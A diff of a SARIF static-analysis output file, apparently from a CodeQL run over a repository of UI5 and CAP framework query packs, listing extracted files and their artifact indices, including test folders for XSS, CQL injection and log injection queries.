-    }, {
-      "location" : {
-        "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/ui5.model.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 12
-      }
-    }, {
-      "location" : {
-        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/additional-sources.model.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 13
-      }
-    }, {
-      "location" : {
-        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/codeql-pack.lock.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 14
-      }
-    }, {
-      "location" : {
-        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/qlpack.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 15
-      }
-    }, {
-      "location" : {
-        "uri" : ".github/workflows/code_scanning.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 16
-      }
-    }, {
-      "location" : {
-        "uri" : ".github/workflows/run-codeql-unit-tests-javascript.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 17
-      }
-    }, {
-      "location" : {
-        "uri" : "codeql-workspace.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 18
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/cap/lib/codeql-pack.lock.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 19
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/cap/lib/qlpack.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 20
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/cap/src/codeql-pack.lock.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 21
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/cap/src/qlpack.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 22
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/cap/test/codeql-pack.lock.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 23
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/cap/test/qlpack.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 24
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/lib/codeql-pack.lock.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 25
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/lib/qlpack.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 26
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/src/codeql-pack.lock.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 27
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/src/qlpack.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 28
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/test/codeql-pack.lock.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 29
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.html",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 30
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 31
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.js",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 32
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.json",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 33
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.xml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 34
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/JsonParser/test.js",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 35
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/test/models/binding_path/binding1.xml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 36
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/test/models/binding_path/bindingComposite.xml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 37
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/test/models/multiple_models/webapp/view/app.view.xml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 38
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/test/models/sink/sink1.xml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 39
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/test/models/source/source1.xml",
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 307
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.html",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 308
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.js",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 309
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/manifest.json",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 310
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 311
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package-lock.json",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 312
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package.json",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 313
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/ui5.yaml",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 314
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 315
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 316
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 317
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.html",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 318
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.js",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 319
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/manifest.json",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 320
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 321
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package-lock.json",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 322
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package.json",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 323
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/ui5.yaml",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 324
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 325
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 326
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 327
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.html",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 328
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.js",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 329
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/manifest.json",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 330
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 331
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package-lock.json",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 332
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package.json",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 333
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/ui5.yaml",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 334
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 335
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.html",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 336
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.js",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 337
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/manifest.json",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 338
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 339
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/heuristic-models/tests/Sources/test.js",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 4
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/heuristic-models/tests/codeql-pack.lock.yml",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 340
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "javascript/heuristic-models/tests/qlpack.yml",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 341
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "qlt.conf.json",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 342
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "scripts/codeql-pack.lock.yml",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 343
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "scripts/qlpack.yml",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 344
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      } ],
+      "executionSuccessful" : true
+    } ],
+    "artifacts" : [ {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 0
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 1
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 2
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 3
+      }
+    }, {
+      "location" : {
+        "uri" : "javascript/heuristic-models/tests/Sources/test.js",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 4
+      }
+    }, {
+      "location" : {
+        "uri" : ".github/actions/install-qlt/action.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 5
+      }
+    }, {
+      "location" : {
+        "uri" : ".github/actions/install-codeql/action.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 6
+      }
+    }, {
+      "location" : {
+        "uri" : ".github/codeql/codeql-config.yaml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 7
+      }
+    }, {
+      "location" : {
+        "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/codeql-pack.lock.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 8
+      }
+    }, {
+      "location" : {
+        "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/qlpack.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 9
+      }
+    }, {
+      "location" : {
+        "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/qlpack.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 10
+      }
+    }, {
+      "location" : {
+        "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/codeql-pack.lock.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 11
+      }
+    }, {
+      "location" : {
+        "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/ui5.model.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 12
+      }
+    }, {
+      "location" : {
+        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/additional-sources.model.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 13
+      }
+    }, {
+      "location" : {
+        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/codeql-pack.lock.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 14
+      }
+    }, {
+      "location" : {
+        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/qlpack.yml",
